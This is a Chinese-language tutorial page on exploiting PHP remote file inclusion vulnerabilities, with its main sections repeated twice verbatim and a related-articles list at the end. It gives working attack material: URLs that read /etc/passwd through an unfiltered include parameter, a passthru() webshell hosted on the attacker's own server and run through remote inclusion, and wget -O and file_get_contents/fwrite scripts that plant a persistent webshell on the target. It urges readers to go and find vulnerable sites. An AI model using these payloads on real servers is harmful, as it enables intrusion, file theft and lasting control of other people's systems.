php 遠(yuǎn)程包含文件漏洞分析第6/6頁
更新時(shí)間:2009年10月30日 22:30:31 作者:
首先,我們來討論包含文件漏洞,首先要問的是,什么才是"遠(yuǎn)程文件包含漏洞"?回答是:服務(wù)器通過php的特性(函數(shù))去包含任意文件時(shí),由于要包含的這個(gè)文件來源過濾不嚴(yán),從而可去包含一個(gè)惡意文件,而我們可以構(gòu)造這個(gè)惡意文件來達(dá)到邪惡的目的。
空的話就執(zhí)行else,來include home.php 這個(gè)文件。
三、為什么會(huì)產(chǎn)生漏洞
你也許要說,這樣很好呀,可以按照URL來動(dòng)態(tài)包含文件,多么方便呀,怎么產(chǎn)生漏洞的呢?問題的答案是:我們不乖巧,我們總喜歡和別人不一樣,我們不會(huì)按照他的鏈接來操作,我們可能想自己寫想包含(調(diào)用)的文件,比如我們會(huì)隨便的打入下面這個(gè)URL:http: //www.dbjr.com.cn/php/index.php?page=hello.php。然后我們的index.php程序就傻傻按照上面我們說得步驟去執(zhí)行:取page為hello.php,然后去include(hello.php),這時(shí)問題出現(xiàn)了,因?yàn)槲覀儾]有hello.php這個(gè)文件,所以它 include的時(shí)候就會(huì)報(bào)警告,類似下列信息:
Quote:
Warning: include(hello.php) [function.include]: failed to open stream: No such file or directory in /vhost/php/index.php on line 3
Warning: include() [function.include]: Failed opening 'hello.php' for inclusion (include_path='.:') in /vhost/php/index.php on line 3
注意上面的那個(gè)Warning就是找不到我們指定的hello.php文件,也就是包含不到我們指定路徑的文件;而后面的警告是因?yàn)榍懊鏇]有找到指定文件,所以包含的時(shí)候就出警告了。
四、怎么利用
上面可以看到,問題出現(xiàn)了,那么我們?cè)趺蠢眠@樣的漏洞呢,利用方法其實(shí)很多,但是實(shí)質(zhì)上都是差不多的,我這里說三個(gè)比較常見的利用方法:
1.包含讀出目標(biāo)機(jī)上其它文件
由前面我們可以看到,由于對(duì)取得的參數(shù)page沒有過濾,于是我們可以任意指定目標(biāo)主機(jī)上的其它敏感文件,例如在前面的警告中,我們可以看到暴露的絕對(duì)路徑(vhost/php/),那么我們就可以多次探測來包含其它文件,比如指定URL為:http: //www.dbjr.com.cn/php/index.php?page=./txt.txt 可以讀出當(dāng)前路徑下的txt.txt文件,也可以使用.. /../進(jìn)行目錄跳轉(zhuǎn)(在沒過濾../的情況下);也可以直接指定絕對(duì)路徑,讀取敏感的系統(tǒng)文件,比如這個(gè)URL:http: //www.dbjr.com.cn/php/index.php?page=/etc/passwd ,如果目標(biāo)主機(jī)沒有對(duì)權(quán)限限制的很嚴(yán)格,或者啟動(dòng) Apache的權(quán)限比較高,是可以讀出這個(gè)文件內(nèi)容的。否則就會(huì)得到一個(gè)類似于:open_basedir restriction in effect.的Warning。
2.包含可運(yùn)行的PHP木馬
如果目標(biāo)主機(jī)的"allow_url_fopen"是激活的(默認(rèn)是激活的,沒幾個(gè)人會(huì)修改),我們就可以有更大的利用空間,我們可以指定其它URL上的一個(gè)包含PHP代碼的webshell來直接運(yùn)行,比如,我先寫一段運(yùn)行命令的PHP代碼(加了注釋,應(yīng)該看得懂),如下保存為cmd.txt(后綴不重要,只要內(nèi)容為PHP格式就可以了)。
CODE: [Copy to clipboard]
--------------------------------------------------------------------------------
if (get_magic_quotes_gpc())
{$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //去掉轉(zhuǎn)義字符(可去掉字符串中的反斜線字符)
ini_set("max_execution_time",0); //設(shè)定針對(duì)這個(gè)文件的執(zhí)行時(shí)間,0為不限制.
echo "
1.S.T
"; //打印的返回的開始行提示信息
passthru($_REQUEST["cmd"]); //運(yùn)行cmd指定的命令
echo "
1.S.T
"; //打印的返回的結(jié)束行提示信息
?>
以上這個(gè)文件的作用就是接受cmd指定的命令,并調(diào)用passthru函數(shù)執(zhí)行,把內(nèi)容返回在1.S.T之間。把這個(gè)文件保存到我們主機(jī)的服務(wù)器上(可以是不支持PHP的主機(jī)),只要能通過HTTP訪問到就可以了,例如地址如下:http: //www.dbjr.com.cn/cmd.txt ,然后我們就可以在那個(gè)漏洞主機(jī)上構(gòu)造如下URL來利用了:http: //www.dbjr.com.cn/php/index.php?page=http://www.dbjr.com.cn/cmd.txt?cmd=ls ,其中 cmd后面的就是你需要執(zhí)行的命令,其它常用的命令(以*UNIX為例)如下:
Quote:
ll 列目錄、文件(相當(dāng)于Windows下dir)
pwd 查看當(dāng)前絕對(duì)路徑
id whoami 查看當(dāng)前用戶
wget 下載指定URL的文件
等等其它的,你主機(jī)去BAIDU找吧,就不列舉了。
上面的方法就是得到一個(gè)Webshell了(雖然這個(gè)PHP文件不在目標(biāo)機(jī)上,但是它確實(shí)是個(gè)Webshell,不是么?呵呵)
3.包含一個(gè)創(chuàng)建文件的PHP文件
也許有的人認(rèn)為還是得到目標(biāo)機(jī)上的一個(gè)真實(shí)的Webshell比較放心,萬一哪天人家發(fā)現(xiàn)這兒個(gè)包含漏洞修補(bǔ)了,我們就不能再遠(yuǎn)程包含得到上面的那個(gè)"偽 "Webshell了,不是么?可以理解這個(gè)心態(tài),我們繼續(xù)。得到一個(gè)真實(shí)的Webshell,我們也說兩種常見的方法:
1)使用wget之類的命令來下載一個(gè)Webshell
這個(gè)比較簡單,也很常用,在上面我們得到的那個(gè)偽webshell中,我們可以執(zhí)行命令,那么我們也可以調(diào)用系統(tǒng)中的一個(gè)很厲害的角色,wget,這個(gè)命令的強(qiáng)大你可以google下,參數(shù)一大堆,絕對(duì)搞暈?zāi)?,呵呵,我們不需要那么?fù)雜,我們就使用一個(gè)-O(--output-document=FILE,把文檔寫到FILE文件中) 就可以了,呵呵。
前提是你在按照前面的步驟放一個(gè)包含PHP代碼的Webshell在一個(gè)可以通過HTTP或者FTP等可以訪問的地方,比如:http: //www.dbjr.com.cn/1stphp.txt ,這個(gè)文件里寫的就是Webshell的內(nèi)容。然后我們?cè)谇懊娴玫降膫蜽ebshell中執(zhí)行如下的 URL:http://www.dbjr.com.cn/php/index.php?page=http://www.dbjr.com.cn/cmd.txt? cmd=wget http://www.dbjr.com.cn/1stphp.txt -O 1stphp.php ,如果當(dāng)前目錄可寫,就能得到一個(gè)叫做1stphp.php的Webshell了;如果當(dāng)前目錄不可寫,還需要想其它的辦法。
2)使用文件來創(chuàng)建
前面的wget可能會(huì)遇到當(dāng)前目錄不能寫的情況;或者目標(biāo)主機(jī)禁用了(或者沒裝)這個(gè)命令,我們又需要變通一下了,我們可以結(jié)合前面的包含文件漏洞來包含一個(gè)創(chuàng)建文件(寫文件)的PHP腳本,內(nèi)容如下:
CODE: [Copy to clipboard]
--------------------------------------------------------------------------------
$f=file_get_contents("http://www.dbjr.com.cn/1stphp.txt"); //打開指定路徑的文件流
$ff=fopen("./upload/1st.php","a"); //尋找一個(gè)可以的目錄,創(chuàng)建一個(gè)文件
fwrite ($ff,$f); //把前面打開的文件流寫到創(chuàng)建的文件里
fclose($ff); //關(guān)閉保存文件
?>
還是寫入我們上面用wget下載的那個(gè)php文件,但是我們改進(jìn)了方法,用PHP腳本來實(shí)現(xiàn),可以使用上面的cmd.php?cmd=ll查找可以寫的目錄,比如這里的upload,然后把文件創(chuàng)建在這個(gè)目錄下:./upload/1st.php。然后就得到我們的Webshell了。
五、后話
其實(shí)到這里我們的這個(gè)分專題就可以結(jié)束了,最后再嘮叨幾句,文件包含漏洞基本上算比較簡單但是危象系數(shù)很高的漏洞,在很多系統(tǒng)中還是存在的,只要細(xì)心一點(diǎn),可以發(fā)現(xiàn)很多的。利用起來過程比較靈活,要擅于針對(duì)問題進(jìn)行分析,找出解決的辦法,就能慢慢進(jìn)步。
漏洞涉及的知識(shí)很多,不能一一涉及,沒說清除的地方,歡迎發(fā)問,或者自己去Google解決。時(shí)間匆忙,描述不妥之處還望大家指正修訂!
最后,這樣的東西需要多實(shí)踐,等有時(shí)間,我會(huì)找個(gè)具體的例子來把這個(gè)流程走一遍,以使大家有深刻的認(rèn)識(shí);你也可以現(xiàn)在就去找找看,發(fā)現(xiàn)什么漏洞,希望能把自己比較詳細(xì)的分析和利用過程在這與大家分享!1st祝你進(jìn)步
三、為什么會(huì)產(chǎn)生漏洞
你也許要說,這樣很好呀,可以按照URL來動(dòng)態(tài)包含文件,多么方便呀,怎么產(chǎn)生漏洞的呢?問題的答案是:我們不乖巧,我們總喜歡和別人不一樣,我們不會(huì)按照他的鏈接來操作,我們可能想自己寫想包含(調(diào)用)的文件,比如我們會(huì)隨便的打入下面這個(gè)URL:http: //www.dbjr.com.cn/php/index.php?page=hello.php。然后我們的index.php程序就傻傻按照上面我們說得步驟去執(zhí)行:取page為hello.php,然后去include(hello.php),這時(shí)問題出現(xiàn)了,因?yàn)槲覀儾]有hello.php這個(gè)文件,所以它 include的時(shí)候就會(huì)報(bào)警告,類似下列信息:
Quote:
Warning: include(hello.php) [function.include]: failed to open stream: No such file or directory in /vhost/php/index.php on line 3
Warning: include() [function.include]: Failed opening 'hello.php' for inclusion (include_path='.:') in /vhost/php/index.php on line 3
注意上面的那個(gè)Warning就是找不到我們指定的hello.php文件,也就是包含不到我們指定路徑的文件;而后面的警告是因?yàn)榍懊鏇]有找到指定文件,所以包含的時(shí)候就出警告了。
四、怎么利用
上面可以看到,問題出現(xiàn)了,那么我們?cè)趺蠢眠@樣的漏洞呢,利用方法其實(shí)很多,但是實(shí)質(zhì)上都是差不多的,我這里說三個(gè)比較常見的利用方法:
1.包含讀出目標(biāo)機(jī)上其它文件
由前面我們可以看到,由于對(duì)取得的參數(shù)page沒有過濾,于是我們可以任意指定目標(biāo)主機(jī)上的其它敏感文件,例如在前面的警告中,我們可以看到暴露的絕對(duì)路徑(vhost/php/),那么我們就可以多次探測來包含其它文件,比如指定URL為:http: //www.dbjr.com.cn/php/index.php?page=./txt.txt 可以讀出當(dāng)前路徑下的txt.txt文件,也可以使用.. /../進(jìn)行目錄跳轉(zhuǎn)(在沒過濾../的情況下);也可以直接指定絕對(duì)路徑,讀取敏感的系統(tǒng)文件,比如這個(gè)URL:http: //www.dbjr.com.cn/php/index.php?page=/etc/passwd ,如果目標(biāo)主機(jī)沒有對(duì)權(quán)限限制的很嚴(yán)格,或者啟動(dòng) Apache的權(quán)限比較高,是可以讀出這個(gè)文件內(nèi)容的。否則就會(huì)得到一個(gè)類似于:open_basedir restriction in effect.的Warning。
2.包含可運(yùn)行的PHP木馬
如果目標(biāo)主機(jī)的"allow_url_fopen"是激活的(默認(rèn)是激活的,沒幾個(gè)人會(huì)修改),我們就可以有更大的利用空間,我們可以指定其它URL上的一個(gè)包含PHP代碼的webshell來直接運(yùn)行,比如,我先寫一段運(yùn)行命令的PHP代碼(加了注釋,應(yīng)該看得懂),如下保存為cmd.txt(后綴不重要,只要內(nèi)容為PHP格式就可以了)。
CODE: [Copy to clipboard]
--------------------------------------------------------------------------------
if (get_magic_quotes_gpc())
{$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //去掉轉(zhuǎn)義字符(可去掉字符串中的反斜線字符)
ini_set("max_execution_time",0); //設(shè)定針對(duì)這個(gè)文件的執(zhí)行時(shí)間,0為不限制.
echo "
1.S.T
"; //打印的返回的開始行提示信息
passthru($_REQUEST["cmd"]); //運(yùn)行cmd指定的命令
echo "
1.S.T
"; //打印的返回的結(jié)束行提示信息
?>
以上這個(gè)文件的作用就是接受cmd指定的命令,并調(diào)用passthru函數(shù)執(zhí)行,把內(nèi)容返回在1.S.T之間。把這個(gè)文件保存到我們主機(jī)的服務(wù)器上(可以是不支持PHP的主機(jī)),只要能通過HTTP訪問到就可以了,例如地址如下:http: //www.dbjr.com.cn/cmd.txt ,然后我們就可以在那個(gè)漏洞主機(jī)上構(gòu)造如下URL來利用了:http: //www.dbjr.com.cn/php/index.php?page=http://www.dbjr.com.cn/cmd.txt?cmd=ls ,其中 cmd后面的就是你需要執(zhí)行的命令,其它常用的命令(以*UNIX為例)如下:
Quote:
ll 列目錄、文件(相當(dāng)于Windows下dir)
pwd 查看當(dāng)前絕對(duì)路徑
id whoami 查看當(dāng)前用戶
wget 下載指定URL的文件
等等其它的,你主機(jī)去BAIDU找吧,就不列舉了。
上面的方法就是得到一個(gè)Webshell了(雖然這個(gè)PHP文件不在目標(biāo)機(jī)上,但是它確實(shí)是個(gè)Webshell,不是么?呵呵)
3.包含一個(gè)創(chuàng)建文件的PHP文件
也許有的人認(rèn)為還是得到目標(biāo)機(jī)上的一個(gè)真實(shí)的Webshell比較放心,萬一哪天人家發(fā)現(xiàn)這兒個(gè)包含漏洞修補(bǔ)了,我們就不能再遠(yuǎn)程包含得到上面的那個(gè)"偽 "Webshell了,不是么?可以理解這個(gè)心態(tài),我們繼續(xù)。得到一個(gè)真實(shí)的Webshell,我們也說兩種常見的方法:
1)使用wget之類的命令來下載一個(gè)Webshell
這個(gè)比較簡單,也很常用,在上面我們得到的那個(gè)偽webshell中,我們可以執(zhí)行命令,那么我們也可以調(diào)用系統(tǒng)中的一個(gè)很厲害的角色,wget,這個(gè)命令的強(qiáng)大你可以google下,參數(shù)一大堆,絕對(duì)搞暈?zāi)?,呵呵,我們不需要那么?fù)雜,我們就使用一個(gè)-O(--output-document=FILE,把文檔寫到FILE文件中) 就可以了,呵呵。
前提是你在按照前面的步驟放一個(gè)包含PHP代碼的Webshell在一個(gè)可以通過HTTP或者FTP等可以訪問的地方,比如:http: //www.dbjr.com.cn/1stphp.txt ,這個(gè)文件里寫的就是Webshell的內(nèi)容。然后我們?cè)谇懊娴玫降膫蜽ebshell中執(zhí)行如下的 URL:http://www.dbjr.com.cn/php/index.php?page=http://www.dbjr.com.cn/cmd.txt? cmd=wget http://www.dbjr.com.cn/1stphp.txt -O 1stphp.php ,如果當(dāng)前目錄可寫,就能得到一個(gè)叫做1stphp.php的Webshell了;如果當(dāng)前目錄不可寫,還需要想其它的辦法。
2)使用文件來創(chuàng)建
前面的wget可能會(huì)遇到當(dāng)前目錄不能寫的情況;或者目標(biāo)主機(jī)禁用了(或者沒裝)這個(gè)命令,我們又需要變通一下了,我們可以結(jié)合前面的包含文件漏洞來包含一個(gè)創(chuàng)建文件(寫文件)的PHP腳本,內(nèi)容如下:
CODE: [Copy to clipboard]
--------------------------------------------------------------------------------
$f=file_get_contents("http://www.dbjr.com.cn/1stphp.txt"); //打開指定路徑的文件流
$ff=fopen("./upload/1st.php","a"); //尋找一個(gè)可以的目錄,創(chuàng)建一個(gè)文件
fwrite ($ff,$f); //把前面打開的文件流寫到創(chuàng)建的文件里
fclose($ff); //關(guān)閉保存文件
?>
還是寫入我們上面用wget下載的那個(gè)php文件,但是我們改進(jìn)了方法,用PHP腳本來實(shí)現(xiàn),可以使用上面的cmd.php?cmd=ll查找可以寫的目錄,比如這里的upload,然后把文件創(chuàng)建在這個(gè)目錄下:./upload/1st.php。然后就得到我們的Webshell了。
五、后話
其實(shí)到這里我們的這個(gè)分專題就可以結(jié)束了,最后再嘮叨幾句,文件包含漏洞基本上算比較簡單但是危象系數(shù)很高的漏洞,在很多系統(tǒng)中還是存在的,只要細(xì)心一點(diǎn),可以發(fā)現(xiàn)很多的。利用起來過程比較靈活,要擅于針對(duì)問題進(jìn)行分析,找出解決的辦法,就能慢慢進(jìn)步。
漏洞涉及的知識(shí)很多,不能一一涉及,沒說清除的地方,歡迎發(fā)問,或者自己去Google解決。時(shí)間匆忙,描述不妥之處還望大家指正修訂!
最后,這樣的東西需要多實(shí)踐,等有時(shí)間,我會(huì)找個(gè)具體的例子來把這個(gè)流程走一遍,以使大家有深刻的認(rèn)識(shí);你也可以現(xiàn)在就去找找看,發(fā)現(xiàn)什么漏洞,希望能把自己比較詳細(xì)的分析和利用過程在這與大家分享!1st祝你進(jìn)步
相關(guān)文章
一個(gè)顯示某段時(shí)間內(nèi)每個(gè)月的方法 返回由這些月份組成的數(shù)組
一個(gè)顯示某段時(shí)間內(nèi)每個(gè)月的方法 返回由這些月份組成的數(shù)組,需要的朋友可以參考下2012-05-05Yii2——使用數(shù)據(jù)庫操作匯總(增刪查改、事務(wù))
本篇文章主要介紹了Yii2——使用數(shù)據(jù)庫操作匯總,小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,也給大家做個(gè)參考。一起跟隨小編過來看看吧2016-12-12php中sort函數(shù)排序知識(shí)點(diǎn)總結(jié)
在本篇文章里小編給大家分享的是一篇關(guān)于php中sort函數(shù)排序知識(shí)點(diǎn)總結(jié)內(nèi)容,有興趣的朋友們可以參考下。2021-01-01PHP global全局變量經(jīng)典應(yīng)用與注意事項(xiàng)分析【附$GLOBALS用法對(duì)比】
這篇文章主要介紹了PHP global全局變量經(jīng)典應(yīng)用與注意事項(xiàng),結(jié)合實(shí)例形式分析了php中g(shù)lobal全局變量的功能、使用方法及相關(guān)操作注意事項(xiàng),并附帶了$GLOBALS用法作為對(duì)比,需要的朋友可以參考下2019-07-07PHP實(shí)現(xiàn)防重復(fù)提交(防抖)的方法總結(jié)
當(dāng)涉及到處理表單提交或用戶點(diǎn)擊按鈕等操作時(shí),防抖(Debounce)是一種重要的技術(shù),它可以有效地防止不必要的重復(fù)操作,本文為大家整理了 PHP 中防抖的多種實(shí)現(xiàn)方法,需要的可以參考下2023-09-09PHP遠(yuǎn)程連接oracle數(shù)據(jù)庫操作實(shí)現(xiàn)方法圖文詳解
這篇文章主要介紹了PHP遠(yuǎn)程連接oracle數(shù)據(jù)庫操作實(shí)現(xiàn)方法,結(jié)合圖文形式詳細(xì)分析了php連接Oracle數(shù)據(jù)庫的相關(guān)配置、實(shí)現(xiàn)方法、遇到的問題、解決方法及相關(guān)操作注意事項(xiàng),需要的朋友可以參考下2019-04-04